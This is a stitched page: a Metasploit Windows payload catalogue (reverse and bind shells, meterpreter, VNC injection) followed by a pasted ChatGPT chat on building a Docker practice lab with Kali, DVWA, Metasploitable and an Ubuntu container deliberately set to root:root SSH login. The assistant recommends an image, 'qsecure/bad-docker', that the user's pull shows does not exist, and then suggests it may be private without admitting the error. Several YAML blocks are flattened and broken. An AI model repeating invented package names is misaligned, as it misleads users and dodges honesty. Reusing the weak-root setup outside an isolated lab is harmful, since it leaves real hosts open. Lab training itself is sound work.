windows/shell/find_tag                                             Spawn a piped command shell (staged). Use an established connection
windows/shell/reverse_ipv6_tcp                                     Spawn a piped command shell (staged). Connect back to the attacker over IPv6
windows/shell/reverse_nonx_tcp                                     Spawn a piped command shell (staged). Connect back to the attacker (No NX)
windows/shell/reverse_ord_tcp                                      Spawn a piped command shell (staged). Connect back to the attacker
windows/shell/reverse_tcp                                          Spawn a piped command shell (staged). Connect back to the attacker
windows/shell/reverse_tcp_allports                                 Spawn a piped command shell (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)
windows/shell/reverse_tcp_dns                                      Spawn a piped command shell (staged). Connect back to the attacker
windows/shell/reverse_tcp_rc4                                      Spawn a piped command shell (staged). Connect back to the attacker
windows/shell/reverse_tcp_rc4_dns                                  Spawn a piped command shell (staged). Connect back to the attacker
windows/shell/reverse_tcp_uuid                                     Spawn a piped command shell (staged). Connect back to the attacker with UUID Support
windows/shell/reverse_udp                                          Spawn a piped command shell (staged). Connect back to the attacker with UUID Support
windows/shell_bind_tcp                                             Listen for a connection and spawn a command shell
windows/shell_bind_tcp_xpfw                                        Disable the Windows ICF, then listen for a connection and spawn a command shell
windows/shell_hidden_bind_tcp                                      Listen for a connection from certain IP and spawn a command shell. The shellcode will reply with a RST packet if the connections is not coming from the IP defined in AHOST. This way the port will appear as "closed" helping us to hide the shellcode.
windows/shell_reverse_tcp                                          Connect back to attacker and spawn a command shell
windows/speak_pwned                                                Causes the target to say "You Got Pwned" via the Windows Speech API
windows/upexec/bind_hidden_ipknock_tcp                             Uploads an executable and runs it (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
windows/upexec/bind_hidden_tcp                                     Uploads an executable and runs it (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.
windows/upexec/bind_ipv6_tcp                                       Uploads an executable and runs it (staged). Listen for an IPv6 connection (Windows x86)
windows/upexec/bind_ipv6_tcp_uuid                                  Uploads an executable and runs it (staged). Listen for an IPv6 connection with UUID Support (Windows x86)
windows/upexec/bind_named_pipe                                     Uploads an executable and runs it (staged). Listen for a pipe connection (Windows x86)
windows/upexec/bind_nonx_tcp                                       Uploads an executable and runs it (staged). Listen for a connection (No NX)
windows/upexec/bind_tcp                                            Uploads an executable and runs it (staged). Listen for a connection (Windows x86)
windows/upexec/bind_tcp_rc4                                        Uploads an executable and runs it (staged). Listen for a connection
windows/upexec/bind_tcp_uuid                                       Uploads an executable and runs it (staged). Listen for a connection with UUID Support (Windows x86)
windows/upexec/find_tag                                            Uploads an executable and runs it (staged). Use an established connection
windows/upexec/reverse_ipv6_tcp                                    Uploads an executable and runs it (staged). Connect back to the attacker over IPv6
windows/upexec/reverse_nonx_tcp                                    Uploads an executable and runs it (staged). Connect back to the attacker (No NX)
windows/upexec/reverse_ord_tcp                                     Uploads an executable and runs it (staged). Connect back to the attacker
windows/upexec/reverse_tcp                                         Uploads an executable and runs it (staged). Connect back to the attacker
windows/upexec/reverse_tcp_allports                                Uploads an executable and runs it (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)
windows/upexec/reverse_tcp_dns                                     Uploads an executable and runs it (staged). Connect back to the attacker
windows/upexec/reverse_tcp_rc4                                     Uploads an executable and runs it (staged). Connect back to the attacker
windows/upexec/reverse_tcp_rc4_dns                                 Uploads an executable and runs it (staged). Connect back to the attacker
windows/upexec/reverse_tcp_uuid                                    Uploads an executable and runs it (staged). Connect back to the attacker with UUID Support
windows/upexec/reverse_udp                                         Uploads an executable and runs it (staged). Connect back to the attacker with UUID Support
windows/vncinject/bind_hidden_ipknock_tcp                          Inject a VNC Dll via a reflective loader (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode
windows/vncinject/bind_hidden_tcp                                  Inject a VNC Dll via a reflective loader (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.
windows/vncinject/bind_ipv6_tcp                                    Inject a VNC Dll via a reflective loader (staged). Listen for an IPv6 connection (Windows x86)
windows/vncinject/bind_ipv6_tcp_uuid                               Inject a VNC Dll via a reflective loader (staged). Listen for an IPv6 connection with UUID Support (Windows x86)
windows/vncinject/bind_named_pipe                                  Inject a VNC Dll via a reflective loader (staged). Listen for a pipe connection (Windows x86)
windows/vncinject/bind_nonx_tcp                                    Inject a VNC Dll via a reflective loader (staged). Listen for a connection (No NX)
windows/vncinject/bind_tcp                                         Inject a VNC Dll via a reflective loader (staged). Listen for a connection (Windows x86)
windows/vncinject/bind_tcp_rc4                                     Inject a VNC Dll via a reflective loader (staged). Listen for a connection
windows/vncinject/bind_tcp_uuid                                    Inject a VNC Dll via a reflective loader (staged). Listen for a connection with UUID Support (Windows x86)
windows/vncinject/find_tag                                         Inject a VNC Dll via a reflective loader (staged). Use an established connection
windows/vncinject/reverse_http                                     Inject a VNC Dll via a reflective loader (staged). Tunnel communication over HTTP (Windows wininet)
windows/vncinject/reverse_http_proxy_pstore                        Inject a VNC Dll via a reflective loader (staged). Tunnel communication over HTTP
windows/vncinject/reverse_ipv6_tcp                                 Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker over IPv6
windows/vncinject/reverse_nonx_tcp                                 Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker (No NX)
windows/vncinject/reverse_ord_tcp                                  Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker
windows/vncinject/reverse_tcp                                      Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker
windows/vncinject/reverse_tcp_allports                             Inject a VNC Dll via a reflective loader (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)
windows/vncinject/reverse_tcp_dns                                  Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker
windows/vncinject/reverse_tcp_rc4                                  Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker
windows/vncinject/reverse_tcp_rc4_dns                              Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker
windows/vncinject/reverse_tcp_uuid                                 Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker with UUID Support
windows/vncinject/reverse_winhttp                                  Inject a VNC Dll via a reflective loader (staged). Tunnel communication over HTTP (Windows winhttp)
windows/x64/custom/bind_ipv6_tcp                                   Custom shellcode stage. Listen for an IPv6 connection (Windows x64)
windows/x64/custom/bind_ipv6_tcp_uuid                              Custom shellcode stage. Listen for an IPv6 connection with UUID Support (Windows x64)
windows/x64/custom/bind_named_pipe                                 Custom shellcode stage. Listen for a pipe connection (Windows x64)
windows/x64/custom/bind_tcp                                        Custom shellcode stage. Listen for a connection (Windows x64)
windows/x64/custom/bind_tcp_rc4                                    Custom shellcode stage. Connect back to the attacker
windows/x64/custom/bind_tcp_uuid                                   Custom shellcode stage. Listen for a connection with UUID Support (Windows x64)
windows/x64/custom/reverse_http                                    Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)
windows/x64/custom/reverse_https                                   Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)
windows/x64/custom/reverse_named_pipe                              Custom shellcode stage. Connect back to the attacker via a named pipe pivot
windows/x64/custom/reverse_tcp                                     Custom shellcode stage. Connect back to the attacker (Windows x64)
windows/x64/custom/reverse_tcp_rc4                                 Custom shellcode stage. Connect back to the attacker
windows/x64/custom/reverse_tcp_uuid                                Custom shellcode stage. Connect back to the attacker with UUID Support (Windows x64)
windows/x64/custom/reverse_winhttp                                 Custom shellcode stage. Tunnel communication over HTTP (Windows x64 winhttp)
windows/x64/custom/reverse_winhttps                                Custom shellcode stage. Tunnel communication over HTTPS (Windows x64 winhttp)
windows/x64/encrypted_shell/reverse_tcp                            Spawn a piped command shell (staged). Connect to MSF and read in stage
windows/x64/encrypted_shell_reverse_tcp                            Connect back to attacker and spawn an encrypted command shell
windows/x64/exec                                                   Execute an arbitrary command (Windows x64)
windows/x64/loadlibrary                                            Load an arbitrary x64 library path
windows/x64/messagebox                                             Spawn a dialog via MessageBox using a customizable title, text & icon
windows/x64/meterpreter/bind_ipv6_tcp                              Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for an IPv6 connection (Windows x64)
windows/x64/meterpreter/bind_ipv6_tcp_uuid                         Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for an IPv6 connection with UUID Support (Windows x64)
windows/x64/meterpreter/bind_named_pipe                            Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a pipe connection (Windows x64)
windows/x64/meterpreter/bind_tcp                                   Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection (Windows x64)
windows/x64/meterpreter/bind_tcp_rc4                               Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker
windows/x64/meterpreter/bind_tcp_uuid                              Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection with UUID Support (Windows x64)
windows/x64/meterpreter/reverse_http                               Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTP (Windows x64 wininet)
windows/x64/meterpreter/reverse_https                              Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTP (Windows x64 wininet)
windows/x64/meterpreter/reverse_named_pipe                         Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker via a named pipe pivot
windows/x64/meterpreter/reverse_tcp                                Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker (Windows x64)
windows/x64/meterpreter/reverse_tcp_rc4                            Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker
windows/x64/meterpreter/reverse_tcp_uuid                           Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker with UUID Support (Windows x64)
windows/x64/meterpreter/reverse_winhttp                            Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTP (Windows x64 winhttp)
windows/x64/meterpreter/reverse_winhttps                           Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTPS (Windows x64 winhttp)
windows/x64/meterpreter_bind_named_pipe                            Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
windows/x64/meterpreter_bind_tcp                                   Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
windows/x64/meterpreter_reverse_http                               Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
windows/x64/meterpreter_reverse_https                              Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
windows/x64/meterpreter_reverse_ipv6_tcp                           Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
windows/x64/meterpreter_reverse_tcp                                Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
windows/x64/peinject/bind_ipv6_tcp                                 Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for an IPv6 connection (Windows x64)
windows/x64/peinject/bind_ipv6_tcp_uuid                            Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for an IPv6 connection with UUID Support (Windows x64)
windows/x64/peinject/bind_named_pipe                               Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for a pipe connection (Windows x64)
windows/x64/peinject/bind_tcp                                      Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for a connection (Windows x64)
windows/x64/peinject/bind_tcp_rc4                                  Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker
windows/x64/peinject/bind_tcp_uuid                                 Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for a connection with UUID Support (Windows x64)
windows/x64/peinject/reverse_named_pipe                            Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker via a named pipe pivot
windows/x64/peinject/reverse_tcp                                   Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker (Windows x64)
windows/x64/peinject/reverse_tcp_rc4                               Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker
windows/x64/peinject/reverse_tcp_uuid                              Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address of entry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker with UUID Support (Windows x64)
windows/x64/pingback_reverse_tcp                                   Connect back to attacker and report UUID (Windows x64)
windows/x64/powershell_bind_tcp                                    Listen for a connection and spawn an interactive powershell session
windows/x64/powershell_reverse_tcp                                 Listen for a connection and spawn an interactive powershell session
windows/x64/powershell_reverse_tcp_ssl                             Listen for a connection and spawn an interactive powershell session over SSL
windows/x64/shell/bind_ipv6_tcp                                    Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)
windows/x64/shell/bind_ipv6_tcp_uuid                               Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)
windows/x64/shell/bind_named_pipe                                  Spawn a piped command shell (Windows x64) (staged). Listen for a pipe connection (Windows x64)
windows/x64/shell/bind_tcp                                         Spawn a piped command shell (Windows x64) (staged). Listen for a connection (Windows x64)
windows/x64/shell/bind_tcp_rc4                                     Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker
windows/x64/shell/bind_tcp_uuid                                    Spawn a piped command shell (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)
windows/x64/shell/reverse_tcp                                      Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker (Windows x64)
windows/x64/shell/reverse_tcp_rc4                                  Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker
windows/x64/shell/reverse_tcp_uuid                                 Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)
windows/x64/shell_bind_tcp                                         Listen for a connection and spawn a command shell (Windows x64)
windows/x64/shell_reverse_tcp                                      Connect back to attacker and spawn a command shell (Windows x64)
windows/x64/vncinject/bind_ipv6_tcp                                Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)
windows/x64/vncinject/bind_ipv6_tcp_uuid                           Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)
windows/x64/vncinject/bind_named_pipe                              Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a pipe connection (Windows x64)
windows/x64/vncinject/bind_tcp                                     Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a connection (Windows x64)
windows/x64/vncinject/bind_tcp_rc4                                 Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker
windows/x64/vncinject/bind_tcp_uuid                                Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)
windows/x64/vncinject/reverse_http                                 Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 wininet)
windows/x64/vncinject/reverse_https                                Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 wininet)
windows/x64/vncinject/reverse_tcp                                  Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker (Windows x64)
windows/x64/vncinject/reverse_tcp_rc4                              Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker
windows/x64/vncinject/reverse_tcp_uuid                             Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)
windows/x64/vncinject/reverse_winhttp                              Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 winhttp)
windows/x64/vncinject/reverse_winhttps                             Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTPS (Windows x64 winhttp)

CyberSecurity

Interactive terminal

You can get an interactive terminal inside a running Docker container using:

docker exec -it <container_id_or_name> /bin/bash

or, if the container doesn't have Bash:


docker exec -it <container_id_or_name> /bin/sh

Explanation:

  • docker exec runs a command inside an existing container.
  • -i keeps the input open.
  • -t allocates a pseudo-TTY.
  • <container_id_or_name> should be replaced with the actual container ID or name.
  • /bin/bash starts an interactive shell (use /bin/sh for Alpine-based containers).

Alternative:

If you want to attach directly to the main process running in the container:

docker attach <container_id_or_name>

However, docker attach connects to the container’s primary process and may not give you a shell.

If the container is stopped:

You can start it and open a shell in one step:

docker run -it <image_name> /bin/bash

Let me know if you're dealing with a specific issue!

full cyberscurity lab with docker where i wiil have kali linux,wulnerable containers ,web apps and all the good stuff

You’ll want a well-structured setup with isolated networks, exposed ports, and easy container management. Here’s how you can get started:


Step 1: Install Docker and Docker Compose

Ensure you have Docker and Docker Compose installed. If not, install them:

sh sudo apt update && sudo apt install docker.io docker-compose -y

Verify installation:

docker --version docker-compose --version


Step 2: Set Up a Docker Network

To allow containers to communicate:

sh

docker network create cyberlab


Step 3: Create a docker-compose.yml

This file will define all your containers and their networking.

Create a cyberlab folder:

sh

mkdir ~/cyberlab && cd ~/cyberlab nano docker-compose.yml

Paste this inside:

version: '3.8' services: kali: image: kalilinux/kali-rolling container_name: kali command: tail -f /dev/null # Keeps container running tty: true stdin_open: true networks: - cyberlab dvwa: image: vulnerables/web-dvwa container_name: dvwa ports: - "8080:80" restart: always networks: - cyberlab metasploitable: image: tleemcjr/metasploitable2 container_name: metasploitable ports: - "2222:22" # SSH - "3389:3389" # RDP networks: - cyberlab juice-shop: image: bkimminich/juice-shop container_name: juice-shop ports: - "3000:3000" restart: always networks: - cyberlab networks: cyberlab: driver: bridge

Step 4: Start the Lab

Run:

sh

docker-compose up -d

This will start all containers in detached mode.


Step 5: Access Containers

  • Kali Linux Shell:

    sh

    docker exec -it kali /bin/bash

  • DVWA (Damn Vulnerable Web App):
    Open http://localhost:8080
    Login: admin / password

  • Metasploitable SSH:

    sh

    ssh msfadmin@localhost -p 2222

    Password: msfadmin

  • Juice Shop:
    Open http://localhost:3000

Enhancing Your Cybersecurity Lab with Reverse Proxy, Logging, and a Dedicated Subnet

To make your lab more realistic and organized, you’ll implement:
✅ Reverse Proxy: Using Traefik or NGINX to manage multiple web services.
✅ Logging & Monitoring: Using ELK Stack (Elasticsearch, Logstash, Kibana) to analyze traffic & security events.
✅ Dedicated Subnet: Using Docker custom networks (e.g., 192.168.100.x).


1️⃣ Set Up a Reverse Proxy (Traefik or NGINX)

A reverse proxy routes traffic from a single entry point (e.g., port 80/443) to multiple internal services.

🔹 Using Traefik (Dynamic & Auto-Discovery)

Traefik automatically discovers services from docker-compose labels.

Step 1: Define Traefik in docker-compose.yml

Modify your docker-compose.yml:

yaml

CopyEdit

version: '3.8' networks: cyberlab: ipam: config: - subnet: 192.168.100.0/24 services: traefik: image: traefik:v2.9 container_name: traefik command: - "--api.insecure=true" - "--providers.docker=true" - "--entrypoints.web.address=:80" ports: - "80:80" - "8080:8080" # Traefik Dashboard networks: cyberlab: ipv4_address: 192.168.100.2 volumes: - "/var/run/docker.sock:/var/run/docker.sock" dvwa: image: vulnerables/web-dvwa container_name: dvwa networks: cyberlab: ipv4_address: 192.168.100.10 labels: - "traefik.enable=true" - "traefik.http.routers.dvwa.rule=Host(`dvwa.local`)"

Step 2: Modify /etc/hosts (Local Testing)

To access dvwa.local, add this line:

sh

CopyEdit

192.168.100.10 dvwa.local

Step 3: Start Everything

sh

CopyEdit

docker-compose up -d

Now, DVWA is accessible at:
👉 http://dvwa.local

Traefik’s dashboard:
👉 http://localhost:8080


🔹 Using NGINX as Reverse Proxy (Static Config)

If you prefer NGINX, create an nginx.conf:

nginx

CopyEdit

server { listen 80; server_name dvwa.local; location / { proxy_pass http://192.168.100.10; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; } }

Run NGINX with:

sh

CopyEdit

docker run -d --name nginx -p 80:80 -v $(pwd)/nginx.conf:/etc/nginx/nginx.conf:ro nginx


2️⃣ Set Up Logging & Monitoring (ELK Stack)

To analyze logs from your cybersecurity lab.

Step 1: Define ELK in docker-compose.yml

yaml

CopyEdit

services: elasticsearch: image: docker.elastic.co/elasticsearch/elasticsearch:8.5.0 environment: - discovery.type=single-node ports: - "9200:9200" networks: cyberlab: ipv4_address: 192.168.100.20 logstash: image: docker.elastic.co/logstash/logstash:8.5.0 volumes: - ./logstash.conf:/usr/share/logstash/pipeline/logstash.conf depends_on: - elasticsearch networks: cyberlab: ipv4_address: 192.168.100.21 kibana: image: docker.elastic.co/kibana/kibana:8.5.0 depends_on: - elasticsearch ports: - "5601:5601" networks: cyberlab: ipv4_address: 192.168.100.22

Step 2: Configure Logstash (logstash.conf)

sh

CopyEdit

input { file { path => "/var/log/nginx/access.log" start_position => "beginning" } } output { elasticsearch { hosts => ["http://192.168.100.20:9200"] } }

Step 3: Start ELK

sh

CopyEdit

docker-compose up -d

Step 4: Access Kibana

👉 http://localhost:5601
Create an index pattern for logstash-* to visualize logs.


3️⃣ Set Up a Dedicated Subnet (192.168.100.x)

To make your network setup realistic, define a custom Docker network.

🔹 Create a Custom Network

sh

CopyEdit

docker network create \ --subnet=192.168.100.0/24 \ cyberlab

🔹 Assign Static IPs in docker-compose.yml

Modify each service:

yaml

CopyEdit

networks: cyberlab: ipv4_address: 192.168.100.10

Now, all containers are in 192.168.100.x.


Final Setup

✅ Reverse Proxy (Traefik/NGINX) ✅
✅ Logging with ELK Stack ✅
✅ Dedicated 192.168.100.x Subnet ✅

Would you like an Ansible playbook to automate this setup? 🚀


1️⃣ Metasploitable 2 (Vulnerable Linux Server)

sh

CopyEdit

docker pull tleemcjr/metasploitable2

Run it:

sh

docker run -d --name metasploitable -p 2222:22 -p 3306:3306 -p 80:80 tleemcjr/metasploitable2

👉 SSH Credentials: msfadmin:msfadmin
👉 Web Apps: Open http://localhost:80


2️⃣ Damn Vulnerable Linux (DVL)

sh

docker pull nymd/damn-vulnerable-linux docker run -it --rm nymd/damn-vulnerable-linux /bin/bash


3️⃣ Vulhub (Pre-configured Exploitable Services)

Vulhub provides ready-to-use vulnerable containers:

sh

CopyEdit

git clone https://github.com/vulhub/vulhub.git cd vulhub/ docker-compose up -d

👉 Explore vulnerabilities


🔹 Solution 2: Manually Create an Insecure Ubuntu Container

If you still want Ubuntu but insecure, do this:

1️⃣ Pull a Base Ubuntu Image

sh

CopyEdit

docker pull ubuntu:20.04 docker run -it --name insecure-ubuntu ubuntu:20.04 /bin/bash

2️⃣ Install Insecure Packages

Inside the container:

sh

CopyEdit

apt update && apt install -y openssh-server netcat python3-pip echo 'root:root' | chpasswd # Set root password to "root" echo "PermitRootLogin yes" >> /etc/ssh/sshd_config echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config service ssh restart

Expose Ports:

sh

CopyEdit

docker commit insecure-ubuntu insecure-ubuntu docker run -d -p 2222:22 insecure-ubuntu

👉 SSH Access: ssh root@localhost -p 2222 (Password: root)


TL;DR: Use These Instead

  • ✅ Metasploitable2 (tleemcjr/metasploitable2)
  • ✅ Damn Vulnerable Linux (nymd/damn-vulnerable-linux)
  • ✅ Vulhub (Pre-built exploits)
  • ✅ Custom Insecure Ubuntu (Manually configured)

Pulling, Creating, and Testing Insecure Containers for Practice

You can use pre-built vulnerable containers or create your own for learning and testing.


1️⃣ Pull and Run Well-Known Vulnerable Containers

Here’s a list of well-known vulnerable containers:

Container NameDescriptionPull Command
Metasploitable 2A full Linux system with multiple vulnerabilitiesdocker pull tleemcjr/metasploitable2
Damn Vulnerable Web App (DVWA)Web app with SQL injection, XSS, and authentication flawsdocker pull vulnerables/web-dvwa
OWASP Juice ShopIntentionally insecure e-commerce site for web security trainingdocker pull bkimminich/juice-shop
OWASP Mutillidae IIA web app with various OWASP vulnerabilitiesdocker pull citizenstig/nowasp
Vulnerable API (VAmPI)A purposely vulnerable API for pentesting practicedocker pull adorsaz/vampi
Bad DockerMisconfigured container with exposed secrets & weak securitydocker pull qsecure/bad-docker
WebGoatOWASP training ground for web security flawsdocker pull webgoat/webgoat
VulhubPre-built exploits for various vulnerabilitiesgit clone https://github.com/vulhub/vulhub.git

2️⃣ Running & Testing Vulnerable Containers

Once you’ve pulled a container, you can run it like this:

🛠 Example: Running DVWA

sh

docker run -d --name dvwa -p 8080:80 vulnerables/web-dvwa

👉 Access it at: http://localhost:8080
👉 Login Credentials: admin:password


🛠 Example: Running Metasploitable 2

sh

CopyEdit

docker run -d --name metasploitable -p 2222:22 -p 80:80 tleemcjr/metasploitable2

👉 SSH Credentials: msfadmin:msfadmin
👉 Web Apps: http://localhost:80


🛠 Example: Running OWASP Juice Shop

sh

CopyEdit

docker run -d --name juice-shop -p 3000:3000 bkimminich/juice-shop

👉 Access it at: http://localhost:3000


3️⃣ Creating Your Own Insecure Container

If you want to build a custom insecure container, you can start with Ubuntu and install insecure configurations.

🛠 Example: Insecure Ubuntu with Root Login & Open Ports

Create a Dockerfile:

dockerfile

CopyEdit

FROM ubuntu:20.04 RUN apt update && apt install -y openssh-server netcat python3-pip curl RUN echo 'root:root' | chpasswd # Weak root password RUN echo "PermitRootLogin yes" >> /etc/ssh/sshd_config RUN echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config CMD ["/usr/sbin/sshd", "-D"]

Build & Run:

sh

CopyEdit

docker build -t insecure-ubuntu . docker run -d --name insecure-ubuntu -p 2222:22 insecure-ubuntu

👉 SSH Access: ssh root@localhost -p 2222 (Password: root)


4️⃣ Next Steps

✅ Set up network isolation for realistic testing
✅ Use Docker Compose to spin up multiple vulnerable services
✅ Install Burp Suite, Metasploit, and Nmap for active testing

Would you like a pre-built docker-compose.yml file to automate this setup? 🚀

You said:

root@Archie /home/dante # docker pull qsecure/bad-docker Using default tag: latest Error response from daemon: pull access denied for qsecure/bad-docker, repository does not exist or may require 'docker login': denied: requested access to the resource is denied root@Archie /home/dante #

ChatGPT said:

The error message:

javascript

CopyEdit

Error response from daemon: pull access denied for qsecure/bad-docker, repository does not exist or may require 'docker login'

indicates that the image qsecure/bad-docker is either:

  1. Private – Requires authentication (docker login) to access.
  2. Non-existent – The repository qsecure/bad-docker does not exist on Docker Hub or other registries.
  3. Restricted – It may be hosted on a private registry, requiring a different registry URL.

🔹 How to Troubleshoot & Fix

1️⃣ Check if the image exists on Docker Hub

Run:

sh

CopyEdit

docker search qsecure/bad-docker

  • If it does not appear, the repository does not exist or is private.
  • If it does appear, try pulling again.

2️⃣ Try Logging In (if private)

If the repository is private, you may need credentials:

sh

CopyEdit

docker login docker pull qsecure/bad-docker

If it is hosted on a private registry (not Docker Hub), use:

sh

CopyEdit

docker login <registry-url> docker pull <registry-url>/qsecure/bad-docker

3️⃣ Manually Inspect if the Image Exists

Try visiting Docker Hub:
🔗 https://hub.docker.com/
Search for qsecure/bad-docker. If it doesn’t exist, it is likely an incorrect name.

You said:

